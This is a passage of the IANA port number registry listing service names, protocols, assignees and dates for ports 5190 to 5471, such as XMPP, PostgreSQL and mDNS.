aol                5190        tcp    America-Online               [Marty_Lyons]                                         [Marty_Lyons]
aol                5190        udp    America-Online               [Marty_Lyons]                                         [Marty_Lyons]
aol-1              5191        tcp    AmericaOnline1               [Bruce_Mackey]                                        [Bruce_Mackey]
aol-1              5191        udp    AmericaOnline1               [Bruce_Mackey]                                        [Bruce_Mackey]
aol-2              5192        tcp    AmericaOnline2               [Bruce_Mackey]                                        [Bruce_Mackey]
aol-2              5192        udp    AmericaOnline2               [Bruce_Mackey]                                        [Bruce_Mackey]
aol-3              5193        tcp    AmericaOnline3               [Bruce_Mackey]                                        [Bruce_Mackey]
aol-3              5193        udp    AmericaOnline3               [Bruce_Mackey]                                        [Bruce_Mackey]
cpscomm            5194        tcp    CipherPoint Config Service   [CipherPoint]                                         [CipherPoint]                                             2010-03-03
                   5194        udp    Reserved
                                      The protocol is used by a
                                      license server and client
ampl-lic           5195        tcp    programs to control use of   [AMPL_Optimization]                                   [David_M_Gay]                                             2012-05-25
                                      program licenses that float
                                      to networked machines
                   5195        udp    Reserved
                                      The protocol is used by two
ampl-tableproxy    5196        tcp    programs that exchange       [AMPL_Optimization]                                   [David_M_Gay]                                             2012-05-25
                                      "table" data used in the
                                      AMPL modeling language
                   5196        udp    Reserved
tunstall-lwp       5197        tcp    Tunstall Lone worker device  [Tunstall_Healthcare_UK_Ltd]                          [Robert_Moore]                                            2014-12-10
                                      interface
                   5197        udp    Reserved
                 5198-5199            Unassigned
targus-getdata     5200        tcp    TARGUS GetData               [John_Keaveney]                                       [John_Keaveney]
targus-getdata     5200        udp    TARGUS GetData               [John_Keaveney]                                       [John_Keaveney]
targus-getdata1    5201        tcp    TARGUS GetData 1             [John_Keaveney]                                       [John_Keaveney]
targus-getdata1    5201        udp    TARGUS GetData 1             [John_Keaveney]                                       [John_Keaveney]
targus-getdata2    5202        tcp    TARGUS GetData 2             [John_Keaveney]                                       [John_Keaveney]
targus-getdata2    5202        udp    TARGUS GetData 2             [John_Keaveney]                                       [John_Keaveney]
targus-getdata3    5203        tcp    TARGUS GetData 3             [John_Keaveney]                                       [John_Keaveney]
targus-getdata3    5203        udp    TARGUS GetData 3             [John_Keaveney]                                       [John_Keaveney]
                 5204-5208            Unassigned
nomad              5209        tcp    Nomad Device Video Transfer  [Morega_System]                                       [Ashraf_Tahir]                                            2012-08-20
                   5209        udp    Reserved
                 5210-5214            Unassigned
noteza             5215        tcp    NOTEZA Data Safety Service   [CNS_a.s.]                                            [Pavel_Mendl_2]                                           2014-06-12
                   5215        udp    Reserved
noteza             5215       sctp    NOTEZA Data Safety Service   [CNS_a.s.]                                            [Pavel_Mendl_2]                                           2014-06-12
                 5216-5220            Unassigned
3exmp              5221        tcp    3eTI Extensible Management   [Bill_Rettig]                                         [Bill_Rettig]                                             2010-05-19
                                      Protocol for OAMP
                   5221        udp    Reserved
xmpp-client        5222        tcp    XMPP Client Connection                                                                                                                                                 [RFC6120]
                   5222        udp    Reserved
hpvirtgrp          5223        tcp    HP Virtual Machine Group     [John_Williams]                                       [John_Williams]                                           2007-06
                                      Management
hpvirtgrp          5223        udp    HP Virtual Machine Group     [John_Williams]                                       [John_Williams]                                           2007-06
                                      Management
hpvirtctrl         5224        tcp    HP Virtual Machine Console   [John_Williams]                                       [John_Williams]                                           2007-06
                                      Operations
hpvirtctrl         5224        udp    HP Virtual Machine Console   [John_Williams]                                       [John_Williams]                                           2007-06
                                      Operations
hp-server          5225        tcp    HP Server                    [Brett_Green_2]                                       [Brett_Green_2]
hp-server          5225        udp    HP Server                    [Brett_Green_2]                                       [Brett_Green_2]
hp-status          5226        tcp    HP Status                    [Brett_Green_2]                                       [Brett_Green_2]
hp-status          5226        udp    HP Status                    [Brett_Green_2]                                       [Brett_Green_2]
perfd              5227        tcp    HP System Performance Metric [Chris_Bertin]                                        [Chris_Bertin]                                            2009-05-19
                                      Service
perfd              5227        udp    HP System Performance Metric [Chris_Bertin]                                        [Chris_Bertin]                                            2009-05-19
                                      Service
hpvroom            5228        tcp    HP Virtual Room Service      [Scott_Levin]                                         [Scott_Levin]                                             2009-03-19
                   5228        udp    Reserved
                                      Netflow/IPFIX/sFlow
jaxflow            5229        tcp    Collector and Forwarder      [JaxMP]                                               [Stephen_Hull]                                            2014-08-15
                                      Management
                   5229        udp    Reserved
jaxflow-data       5230        tcp    JaxMP RealFlow application   [JaxMP]                                               [Stephen_Hull]                                            2014-08-15
                                      and protocol data
                   5230        udp    Reserved
crusecontrol       5231        tcp    Remote Control of Scan       [Cruse_Spezialmaschinen_GmbH]                         [Christof_J._Reetz_2]                                     2014-08-15
                                      Software for Cruse Scanners
                   5231        udp    Reserved
csedaemon          5232        tcp    Cruse Scanning System        [Christof_J_Reetz]                                    [Christof_J_Reetz]                                        2011-03-09
                                      Service
                   5232        udp    Reserved
enfs               5233        tcp    Etinnae Network File Service [Chris_Peel]                                          [Chris_Peel]                                              2011-03-09
                   5233        udp    Reserved
eenet              5234        tcp    EEnet communications         [Helmut_Giritzer]                                     [Helmut_Giritzer]                                         2005-11
eenet              5234        udp    EEnet communications         [Helmut_Giritzer]                                     [Helmut_Giritzer]                                         2005-11
galaxy-network     5235        tcp    Galaxy Network Service       [Michael_Andre_2]                                     [Michael_Andre_2]                                         2007-10-04
galaxy-network     5235        udp    Galaxy Network Service       [Michael_Andre_2]                                     [Michael_Andre_2]                                         2007-10-04
padl2sim           5236        tcp
padl2sim           5236        udp
mnet-discovery     5237        tcp    m-net discovery              [Andy_Crick]                                          [Andy_Crick]                                              2007-11-13
mnet-discovery     5237        udp    m-net discovery              [Andy_Crick]                                          [Andy_Crick]                                              2007-11-13
                 5238-5244            Unassigned
downtools          5245        tcp    DownTools Control Protocol   [Jarrod_Sayers]                                       [Jarrod_Sayers]                                           2009-04-07
downtools-disc     5245        udp    DownTools Discovery Protocol [Jarrod_Sayers]                                       [Jarrod_Sayers]                                           2009-04-07
                   5246        tcp    Reserved
capwap-control     5246        udp    CAPWAP Control Protocol                                                                                                                                                [RFC5415]
                   5247        tcp    Reserved
capwap-data        5247        udp    CAPWAP Data Protocol                                                                                                                                                   [RFC5415]
caacws             5248        tcp    CA Access Control Web        [Gabriel_Kalmar]                                      [Gabriel_Kalmar]                                          2008-03-06
                                      Service
caacws             5248        udp    CA Access Control Web        [Gabriel_Kalmar]                                      [Gabriel_Kalmar]                                          2008-03-06
                                      Service
caaclang2          5249        tcp    CA AC Lang Service           [Gabriel_Kalmar]                                      [Gabriel_Kalmar]                                          2008-02-19
caaclang2          5249        udp    CA AC Lang Service           [Gabriel_Kalmar]                                      [Gabriel_Kalmar]                                          2008-02-19
soagateway         5250        tcp    soaGateway                   [Greg_Bodine]                                         [Greg_Bodine]                                             2002-02
soagateway         5250        udp    soaGateway                   [Greg_Bodine]                                         [Greg_Bodine]                                             2002-02
caevms             5251        tcp    CA eTrust VM Service         [Kevin_Bond]                                          [Kevin_Bond]                                              2004-11
caevms             5251        udp    CA eTrust VM Service         [Kevin_Bond]                                          [Kevin_Bond]                                              2004-11
movaz-ssc          5252        tcp    Movaz SSC                    [Lou_Berger]                                          [Lou_Berger]                                              2004-11
movaz-ssc          5252        udp    Movaz SSC                    [Lou_Berger]                                          [Lou_Berger]                                              2004-11
kpdp               5253        tcp    Kohler Power Device Protocol [Bill_Gross]                                          [Bill_Gross]                                              2010-11-01
                   5253        udp    Reserved
logcabin           5254        tcp    LogCabin storage service     [Diego_Ongaro]                                        [Diego_Ongaro]                                            2015-04-14
                   5254        udp    Reserved
                 5255-5263            Unassigned
3com-njack-1       5264        tcp    3Com Network Jack Port 1     [Abhay_Rajaram]                                       [Abhay_Rajaram]                                           2003-03
3com-njack-1       5264        udp    3Com Network Jack Port 1     [Abhay_Rajaram]                                       [Abhay_Rajaram]                                           2003-03
3com-njack-2       5265        tcp    3Com Network Jack Port 2     [Abhay_Rajaram]                                       [Abhay_Rajaram]                                           2003-03
3com-njack-2       5265        udp    3Com Network Jack Port 2     [Abhay_Rajaram]                                       [Abhay_Rajaram]                                           2003-03
                 5266-5268            Unassigned
xmpp-server        5269        tcp    XMPP Server Connection                                                                                                                                                 [RFC6120]
                   5269        udp    Reserved
cartographerxmp    5270        tcp    Cartographer XMP             [Bobby_Krupczak_2]                                    [Bobby_Krupczak_2]                                        2008-04-03   2011-08-31
cartographerxmp    5270        udp    Cartographer XMP             [Bobby_Krupczak_2]                                    [Bobby_Krupczak_2]                                        2008-04-03   2011-08-31
cuelink            5271        tcp    StageSoft CueLink messaging  [Todd_Pichler]                                        [Todd_Pichler]                                            2010-03-26
cuelink-disc       5271        udp    StageSoft CueLink discovery  [Todd_Pichler]                                        [Todd_Pichler]                                            2010-03-26
pk                 5272        tcp    PK                           [Patrick_Kara]                                        [Patrick_Kara]
pk                 5272        udp    PK                           [Patrick_Kara]                                        [Patrick_Kara]
                 5273-5279            Unassigned
xmpp-bosh          5280        tcp    Bidirectional-streams Over   [Peter_Saint_Andre]                                   [Peter_Saint_Andre]                                       2009-11-25
                                      Synchronous HTTP (BOSH)
                   5280        udp    Reserved
undo-lm            5281        tcp    Undo License Manager         [Julian_Smith]                                        [Julian_Smith]                                            2010-04-19
                   5281        udp    Reserved
transmit-port      5282        tcp    Marimba Transmitter Port     [Johan_Eriksson]                                      [Johan_Eriksson]                                          2002-04
transmit-port      5282        udp    Marimba Transmitter Port     [Johan_Eriksson]                                      [Johan_Eriksson]                                          2002-04
                 5283-5297            Unassigned
presence           5298        tcp    XMPP Link-Local Messaging    [Eric_St_Onge]                                        [Eric_St_Onge]                                            2008-01-14                                                                                     Defined TXT keys: See
                                                                                                                                                                                                                                                                                  http://www.xmpp.org/registrar/linklocal.html
presence           5298        udp    XMPP Link-Local Messaging    [Eric_St_Onge]                                        [Eric_St_Onge]                                            2008-01-14                                                                                     Defined TXT keys: See
                                                                                                                                                                                                                                                                                  http://www.xmpp.org/registrar/linklocal.html
nlg-data           5299        tcp    NLG Data Service             [Andy_Shellam]                                        [Andy_Shellam]                                            2008-02-19
nlg-data           5299        udp    NLG Data Service             [Andy_Shellam]                                        [Andy_Shellam]                                            2008-02-19
hacl-hb            5300        tcp    HA cluster heartbeat         [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-hb            5300        udp    HA cluster heartbeat         [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-gs            5301        tcp    HA cluster general services  [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-gs            5301        udp    HA cluster general services  [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-cfg           5302        tcp    HA cluster configuration     [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-cfg           5302        udp    HA cluster configuration     [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-probe         5303        tcp    HA cluster probing           [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-probe         5303        udp    HA cluster probing           [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-local         5304        tcp    HA Cluster Commands          [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-local         5304        udp    HA Cluster Commands          [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-test          5305        tcp    HA Cluster Test              [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
hacl-test          5305        udp    HA Cluster Test              [Eric_Soderberg_2][Edward_Yim]                        [Eric_Soderberg_2][Edward_Yim]
sun-mc-grp         5306        tcp    Sun MC Group                 [Michael_DeMoney]                                     [Michael_DeMoney]
sun-mc-grp         5306        udp    Sun MC Group                 [Michael_DeMoney]                                     [Michael_DeMoney]
sco-aip            5307        tcp    SCO AIP                      [Barrie_Cooper]                                       [Barrie_Cooper]
sco-aip            5307        udp    SCO AIP                      [Barrie_Cooper]                                       [Barrie_Cooper]
cfengine           5308        tcp    CFengine                     [Mark_Burgess]                                        [Mark_Burgess]
cfengine           5308        udp    CFengine                     [Mark_Burgess]                                        [Mark_Burgess]
jprinter           5309        tcp    J Printer                    [Ken_Blackwell]                                       [Ken_Blackwell]
jprinter           5309        udp    J Printer                    [Ken_Blackwell]                                       [Ken_Blackwell]
outlaws            5310        tcp    Outlaws                      [Richard_Fife]                                        [Richard_Fife]
outlaws            5310        udp    Outlaws                      [Richard_Fife]                                        [Richard_Fife]
                   5311               Unassigned                                                                                                                                   2004-05-07
permabit-cs        5312        tcp    Permabit Client-Server       [Jered_Floyd]                                         [Jered_Floyd]                                             2004-06
permabit-cs        5312        udp    Permabit Client-Server       [Jered_Floyd]                                         [Jered_Floyd]                                             2004-06
rrdp               5313        tcp    Real-time & Reliable Data    [Ted_Hoshi]                                           [Ted_Hoshi]                                               2004-06
rrdp               5313        udp    Real-time & Reliable Data    [Ted_Hoshi]                                           [Ted_Hoshi]                                               2004-06
opalis-rbt-ipc     5314        tcp    opalis-rbt-ipc               [Laurent_Domenech]                                    [Laurent_Domenech]
opalis-rbt-ipc     5314        udp    opalis-rbt-ipc               [Laurent_Domenech]                                    [Laurent_Domenech]
hacl-poll          5315        tcp    HA Cluster UDP Polling       [Hoa_Nguyen]                                          [Hoa_Nguyen]
hacl-poll          5315        udp    HA Cluster UDP Polling       [Hoa_Nguyen]                                          [Hoa_Nguyen]
hpbladems          5316        tcp    HPBladeSystem Monitor        [Alan_Minchew]                                        [Alan_Minchew]                                            2011-05-23   2011-05-16
                                      Service
                   5316        udp    Unassigned                                                                                                                                   2011-05-16
hpdevms            5317        tcp    HP Device Monitor Service    [Alan_Minchew]                                        [Alan_Minchew]                                            2011-05-16
                   5317        udp    Reserved
pkix-cmc           5318        tcp    PKIX Certificate Management  [IESG]                                                [IETF_Chair]                                                                        [RFC6402]
                                      using CMS (CMC)
                   5318        udp    Reserved
                   5319               Unassigned
bsfserver-zn       5320        tcp    Webservices-based Zn         [Bert_Paul]                                           [Bert_Paul]                                               2008-05-01
                                      interface of BSF
                   5320        udp    Reserved
bsfsvr-zn-ssl      5321        tcp    Webservices-based Zn         [Bert_Paul]                                           [Bert_Paul]                                               2008-07-03
                                      interface of BSF over SSL
                   5321        udp    Reserved
                 5322-5342            Unassigned
kfserver           5343        tcp    Sculptor Database Server     [Keith_Ashman]                                        [Keith_Ashman]                                            2005-12
kfserver           5343        udp    Sculptor Database Server     [Keith_Ashman]                                        [Keith_Ashman]                                            2005-12
xkotodrcp          5344        tcp    xkoto DRCP                   [Jeff_Heisz]                                          [Jeff_Heisz]                                              2006-02
xkotodrcp          5344        udp    xkoto DRCP                   [Jeff_Heisz]                                          [Jeff_Heisz]                                              2006-02
                 5345-5348            Unassigned
stuns              5349        tcp    STUN over TLS                                                                                                                                                          [RFC5389]
stuns              5349        udp    STUN over DTLS               [IESG]                                                [IETF_Chair]                                                           2014-07-03   [RFC7350]                                                            This service name was initially created by [RFC5389].
turns              5349        tcp    TURN over TLS                                                                                                                                                          [RFC5766]
turns              5349        udp    TURN over DTLS               [IESG]                                                [IETF_Chair]                                                           2014-07-03   [RFC7350]                                                            This service name was initially created by [RFC5766].
stun-behaviors     5349        tcp    STUN Behavior Discovery over                                                                                                                                           [RFC5780]
                                      TLS
stun-behaviors     5349        udp    Reserved for a future                                                                                                                                                  [RFC5780]
                                      enhancement of STUN-BEHAVIOR
                   5350        tcp    Reserved
pcp-multicast      5350        udp    Port Control Protocol        [IESG]                                                [IETF_Chair]                                                                        [RFC6887]
                                      Multicast
                   5351        tcp    Reserved
pcp                5351        udp    Port Control Protocol        [IESG]                                                [IETF_Chair]                                                                        [RFC6887]
dns-llq            5352        tcp    DNS Long-Lived Queries       [Kiren_Sekar]                                         [Kiren_Sekar]                                             2005-08
dns-llq            5352        udp    DNS Long-Lived Queries       [Kiren_Sekar]                                         [Kiren_Sekar]                                             2005-08
mdns               5353        tcp    Multicast DNS                [IESG]                                                [IETF_Chair]                                                                        [RFC6762]
mdns               5353        udp    Multicast DNS                [IESG]                                                [IETF_Chair]                                                                        [RFC6762]
mdnsresponder      5354        tcp    Multicast DNS Responder IPC  [Stuart_Cheshire_3]                                   [Stuart_Cheshire_3]                                       2004-06
mdnsresponder      5354        udp    Multicast DNS Responder IPC  [Stuart_Cheshire_3]                                   [Stuart_Cheshire_3]                                       2004-06
llmnr              5355        tcp    LLMNR                        [Bernard_Aboba]                                       [Bernard_Aboba]                                           2004-06
llmnr              5355        udp    LLMNR                        [Bernard_Aboba]                                       [Bernard_Aboba]                                           2004-06
ms-smlbiz          5356        tcp    Microsoft Small Business     [Gopikrishna_Sandra]                                  [Gopikrishna_Sandra]                                      2005-02
ms-smlbiz          5356        udp    Microsoft Small Business     [Gopikrishna_Sandra]                                  [Gopikrishna_Sandra]                                      2005-02
wsdapi             5357        tcp    Web Services for Devices     [Henry_Rawas]                                         [Henry_Rawas]                                             2005-08
wsdapi             5357        udp    Web Services for Devices     [Henry_Rawas]                                         [Henry_Rawas]                                             2005-08
wsdapi-s           5358        tcp    WS for Devices Secured       [Henry_Rawas]                                         [Henry_Rawas]                                             2005-08
wsdapi-s           5358        udp    WS for Devices Secured       [Henry_Rawas]                                         [Henry_Rawas]                                             2005-08
ms-alerter         5359        tcp    Microsoft Alerter            [Marc_McClure]                                        [Marc_McClure]                                            2007-08-07
ms-alerter         5359        udp    Microsoft Alerter            [Marc_McClure]                                        [Marc_McClure]                                            2007-08-07
ms-sideshow        5360        tcp    Protocol for Windows         [Dan_Polivy]                                          [Dan_Polivy]                                              2008-03-12
                                      SideShow
ms-sideshow        5360        udp    Protocol for Windows         [Dan_Polivy]                                          [Dan_Polivy]                                              2008-03-12
                                      SideShow
ms-s-sideshow      5361        tcp    Secure Protocol for Windows  [Dan_Polivy]                                          [Dan_Polivy]                                              2008-03-12
                                      SideShow
ms-s-sideshow      5361        udp    Secure Protocol for Windows  [Dan_Polivy]                                          [Dan_Polivy]                                              2008-03-12
                                      SideShow
serverwsd2         5362        tcp    Microsoft Windows Server     [Erhan_Soyer_Osman]                                   [Erhan_Soyer_Osman]                                       2008-03-26
                                      WSD2 Service
serverwsd2         5362        udp    Microsoft Windows Server     [Erhan_Soyer_Osman]                                   [Erhan_Soyer_Osman]                                       2008-03-26
                                      WSD2 Service
net-projection     5363        tcp    Windows Network Projection   [Rob_Williams]                                        [Rob_Williams]                                            2009-02-17
net-projection     5363        udp    Windows Network Projection   [Rob_Williams]                                        [Rob_Williams]                                            2009-02-17
kdnet              5364        udp    Microsoft Kernel Debugger    [Microsoft_Corporation_4]                             [Joe_Ballantyne]                                          2013-06-16
                   5364        tcp    Reserved
                 5365-5396            Unassigned
stresstester       5397        tcp    StressTester(tm) Injector    [Graham_Parsons]                                      [Graham_Parsons]                                          2005-08
stresstester       5397        udp    StressTester(tm) Injector    [Graham_Parsons]                                      [Graham_Parsons]                                          2005-08
elektron-admin     5398        tcp    Elektron Administration      [Chris_Hawk]                                          [Chris_Hawk]                                              2005-08
elektron-admin     5398        udp    Elektron Administration      [Chris_Hawk]                                          [Chris_Hawk]                                              2005-08
securitychase      5399        tcp    SecurityChase                [Daisuke_Shinomiya]                                   [Daisuke_Shinomiya]                                       2005-08
securitychase      5399        udp    SecurityChase                [Daisuke_Shinomiya]                                   [Daisuke_Shinomiya]                                       2005-08
excerpt            5400        tcp    Excerpt Search               [John_Hinsdale]                                       [John_Hinsdale]
excerpt            5400        udp    Excerpt Search               [John_Hinsdale]                                       [John_Hinsdale]
excerpts           5401        tcp    Excerpt Search Secure        [John_Hinsdale]                                       [John_Hinsdale]
excerpts           5401        udp    Excerpt Search Secure        [John_Hinsdale]                                       [John_Hinsdale]
mftp               5402        tcp    OmniCast MFTP                [Steve_Bannister]                                     [Steve_Bannister]
mftp               5402        udp    OmniCast MFTP                [Steve_Bannister]                                     [Steve_Bannister]
hpoms-ci-lstn      5403        tcp    HPOMS-CI-LSTN                [Harold_Froehling]                                    [Harold_Froehling]
hpoms-ci-lstn      5403        udp    HPOMS-CI-LSTN                [Harold_Froehling]                                    [Harold_Froehling]
hpoms-dps-lstn     5404        tcp    HPOMS-DPS-LSTN               [Harold_Froehling]                                    [Harold_Froehling]
hpoms-dps-lstn     5404        udp    HPOMS-DPS-LSTN               [Harold_Froehling]                                    [Harold_Froehling]
netsupport         5405        tcp    NetSupport                   [Paul_Sanders_2]                                      [Paul_Sanders_2]
netsupport         5405        udp    NetSupport                   [Paul_Sanders_2]                                      [Paul_Sanders_2]
systemics-sox      5406        tcp    Systemics Sox                [Gary_Howland]                                        [Gary_Howland]
systemics-sox      5406        udp    Systemics Sox                [Gary_Howland]                                        [Gary_Howland]
foresyte-clear     5407        tcp    Foresyte-Clear               [Jorge_Aldana]                                        [Jorge_Aldana]
foresyte-clear     5407        udp    Foresyte-Clear               [Jorge_Aldana]                                        [Jorge_Aldana]
foresyte-sec       5408        tcp    Foresyte-Sec                 [Jorge_Aldana]                                        [Jorge_Aldana]
foresyte-sec       5408        udp    Foresyte-Sec                 [Jorge_Aldana]                                        [Jorge_Aldana]
salient-dtasrv     5409        tcp    Salient Data Server          [Richard_Farnham]                                     [Richard_Farnham]
salient-dtasrv     5409        udp    Salient Data Server          [Richard_Farnham]                                     [Richard_Farnham]
salient-usrmgr     5410        tcp    Salient User Manager         [Richard_Farnham]                                     [Richard_Farnham]
salient-usrmgr     5410        udp    Salient User Manager         [Richard_Farnham]                                     [Richard_Farnham]
actnet             5411        tcp    ActNet                       [Simon_Robillard]                                     [Simon_Robillard]
actnet             5411        udp    ActNet                       [Simon_Robillard]                                     [Simon_Robillard]
continuus          5412        tcp    Continuus                    [Steven_Holtsberg]                                    [Steven_Holtsberg]
continuus          5412        udp    Continuus                    [Steven_Holtsberg]                                    [Steven_Holtsberg]
wwiotalk           5413        tcp    WWIOTALK                     [Roger_Knobbe]                                        [Roger_Knobbe]
wwiotalk           5413        udp    WWIOTALK                     [Roger_Knobbe]                                        [Roger_Knobbe]
statusd            5414        tcp    StatusD                      [Stephen_Misel_2]                                     [Stephen_Misel_2]
statusd            5414        udp    StatusD                      [Stephen_Misel_2]                                     [Stephen_Misel_2]
ns-server          5415        tcp    NS Server                    [Jeffrey_Chiao]                                       [Jeffrey_Chiao]
ns-server          5415        udp    NS Server                    [Jeffrey_Chiao]                                       [Jeffrey_Chiao]
sns-gateway        5416        tcp    SNS Gateway                  [Mary_Holstage]                                       [Mary_Holstage]
sns-gateway        5416        udp    SNS Gateway                  [Mary_Holstage]                                       [Mary_Holstage]
sns-agent          5417        tcp    SNS Agent                    [Mary_Holstage]                                       [Mary_Holstage]
sns-agent          5417        udp    SNS Agent                    [Mary_Holstage]                                       [Mary_Holstage]
mcntp              5418        tcp    MCNTP                        [Heiko_Rupp]                                          [Heiko_Rupp]
mcntp              5418        udp    MCNTP                        [Heiko_Rupp]                                          [Heiko_Rupp]
dj-ice             5419        tcp    DJ-ICE                       [Don_Tyson_2]                                         [Don_Tyson_2]
dj-ice             5419        udp    DJ-ICE                       [Don_Tyson_2]                                         [Don_Tyson_2]
cylink-c           5420        tcp    Cylink-C                     [John_Jobe]                                           [John_Jobe]
cylink-c           5420        udp    Cylink-C                     [John_Jobe]                                           [John_Jobe]
netsupport2        5421        tcp    Net Support 2                [Paul_Sanders]                                        [Paul_Sanders]
netsupport2        5421        udp    Net Support 2                [Paul_Sanders]                                        [Paul_Sanders]
salient-mux        5422        tcp    Salient MUX                  [Richard_Farnham]                                     [Richard_Farnham]
salient-mux        5422        udp    Salient MUX                  [Richard_Farnham]                                     [Richard_Farnham]
virtualuser        5423        tcp    VIRTUALUSER                  [Chad_Williams]                                       [Chad_Williams]
virtualuser        5423        udp    VIRTUALUSER                  [Chad_Williams]                                       [Chad_Williams]
beyond-remote      5424        tcp    Beyond Remote                [Michael_Berg]                                        [Michael_Berg]                                            2004-11
beyond-remote      5424        udp    Beyond Remote                [Michael_Berg]                                        [Michael_Berg]                                            2004-11
br-channel         5425        tcp    Beyond Remote Command        [Michael_Berg]                                        [Michael_Berg]                                            2005-08
                                      Channel
br-channel         5425        udp    Beyond Remote Command        [Michael_Berg]                                        [Michael_Berg]                                            2005-08
                                      Channel
devbasic           5426        tcp    DEVBASIC                     [Curtis_Smith]                                        [Curtis_Smith]
devbasic           5426        udp    DEVBASIC                     [Curtis_Smith]                                        [Curtis_Smith]
sco-peer-tta       5427        tcp    SCO-PEER-TTA                 [Andrew_Shire]                                        [Andrew_Shire]
sco-peer-tta       5427        udp    SCO-PEER-TTA                 [Andrew_Shire]                                        [Andrew_Shire]
telaconsole        5428        tcp    TELACONSOLE                  [Joseph_M_Newcomer]                                   [Joseph_M_Newcomer]
telaconsole        5428        udp    TELACONSOLE                  [Joseph_M_Newcomer]                                   [Joseph_M_Newcomer]
base               5429        tcp    Billing and Accounting       [Odo_Maletzki]                                        [Odo_Maletzki]
                                      System Exchange
base               5429        udp    Billing and Accounting       [Odo_Maletzki]                                        [Odo_Maletzki]
                                      System Exchange
radec-corp         5430        tcp    RADEC CORP                   [David_Chell]                                         [David_Chell]
radec-corp         5430        udp    RADEC CORP                   [David_Chell]                                         [David_Chell]
park-agent         5431        tcp    PARK AGENT                   [John_Clifford]                                       [John_Clifford]
park-agent         5431        udp    PARK AGENT                   [John_Clifford]                                       [John_Clifford]
postgresql         5432        tcp    PostgreSQL Database          [Tom_Lane]                                            [Tom_Lane]
postgresql         5432        udp    PostgreSQL Database          [Tom_Lane]                                            [Tom_Lane]
pyrrho             5433        tcp    Pyrrho DBMS                  [Malcolm_Crowe]                                       [Malcolm_Crowe]                                           2005-11
pyrrho             5433        udp    Pyrrho DBMS                  [Malcolm_Crowe]                                       [Malcolm_Crowe]                                           2005-11
sgi-arrayd         5434        tcp    SGI Array Services Daemon    [Karl_Feind]                                          [Karl_Feind]                                              2005-10
sgi-arrayd         5434        udp    SGI Array Services Daemon    [Karl_Feind]                                          [Karl_Feind]                                              2005-10
sceanics           5435        tcp    SCEANICS situation and       [Richard_Olsen]                                       [Richard_Olsen]
                                      action notification
sceanics           5435        udp    SCEANICS situation and       [Richard_Olsen]                                       [Richard_Olsen]
                                      action notification
                   5436        tcp    Reserved
pmip6-cntl         5436        udp    pmip6-cntl                                                                                                                                                             [RFC5844]
                   5437        tcp    Reserved
pmip6-data         5437        udp    pmip6-data                                                                                                                                                             [RFC5844]
                 5438-5442            Unassigned
spss               5443        tcp    Pearson HTTPS                [Pearson]                                             [Pearson]                                                 2008-01-17
spss               5443        udp    Pearson HTTPS                [Pearson]                                             [Pearson]                                                 2008-01-17
                                                                                                                                                                                                                                                                     Known
                   5444               Unassigned                                                                                                                                                                                                                     UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE: Port
                                                                                                                                                                                                                                                                     5444
smbdirect          5445        tcp    Server Message Block over    [Microsoft_Corporation_2]                             [Tom_Talpey]                                              2012-03-15
                                      Remote Direct Memory Access
                   5445        udp    Reserved
smbdirect          5445       sctp    Server Message Block over    [Microsoft_Corporation_2]                             [Tom_Talpey]                                              2012-03-15
                                      Remote Direct Memory Access
                 5446-5449            Unassigned
tiepie             5450        tcp    TiePie engineering data      [TiePie_engineering]                                  [Reinder_Feenstra]                                        2016-04-01
                                      acquisition
tiepie-disc        5450        udp    TiePie engineering data      [TiePie_engineering]                                  [Reinder_Feenstra]                                        2016-04-01
                                      acquisition (discovery)
                 5451-5452            Unassigned
surebox            5453        tcp    SureBox                      [Emin_BORU]                                           [Emin_BORU]                                               2004-11
surebox            5453        udp    SureBox                      [Emin_BORU]                                           [Emin_BORU]                                               2004-11
apc-5454           5454        tcp    APC 5454                     [American_Power_Conve]                                [American_Power_Conve]
apc-5454           5454        udp    APC 5454                     [American_Power_Conve]                                [American_Power_Conve]
apc-5455           5455        tcp    APC 5455                     [American_Power_Conve]                                [American_Power_Conve]
apc-5455           5455        udp    APC 5455                     [American_Power_Conve]                                [American_Power_Conve]
apc-5456           5456        tcp    APC 5456                     [American_Power_Conve]                                [American_Power_Conve]
apc-5456           5456        udp    APC 5456                     [American_Power_Conve]                                [American_Power_Conve]
                 5457-5460            Unassigned
silkmeter          5461        tcp    SILKMETER                    [Klaus_Fellner]                                       [Klaus_Fellner]
silkmeter          5461        udp    SILKMETER                    [Klaus_Fellner]                                       [Klaus_Fellner]
ttl-publisher      5462        tcp    TTL Publisher                [Peter_Jacobs]                                        [Peter_Jacobs]
ttl-publisher      5462        udp    TTL Publisher                [Peter_Jacobs]                                        [Peter_Jacobs]
ttlpriceproxy      5463        tcp    TTL Price Proxy              [Peter_Jacobs]                                        [Peter_Jacobs]
ttlpriceproxy      5463        udp    TTL Price Proxy              [Peter_Jacobs]                                        [Peter_Jacobs]
quailnet           5464        tcp    Quail Networks Object Broker [Craig_N_Bissell]                                     [Craig_N_Bissell]                                         2006-04
quailnet           5464        udp    Quail Networks Object Broker [Craig_N_Bissell]                                     [Craig_N_Bissell]                                         2006-04
netops-broker      5465        tcp    NETOPS-BROKER                [John_R_Deuel]                                        [John_R_Deuel]
netops-broker      5465        udp    NETOPS-BROKER                [John_R_Deuel]                                        [John_R_Deuel]
                 5466-5469            Unassigned
                                      The Apsolab company's data
apsolab-col        5470        tcp    collection protocol (native  [Apsolab_Inc]                                         [Jean-Francois_Gauthier]                                  2014-11-10
                                      api)
                   5470        udp    Reserved
                                      The Apsolab company's secure
apsolab-cols       5471        tcp    data collection protocol     [Apsolab_Inc]                                         [Jean-Francois_Gauthier]                                  2014-11-10
                                      (native api)
                   5471        udp    Reserved
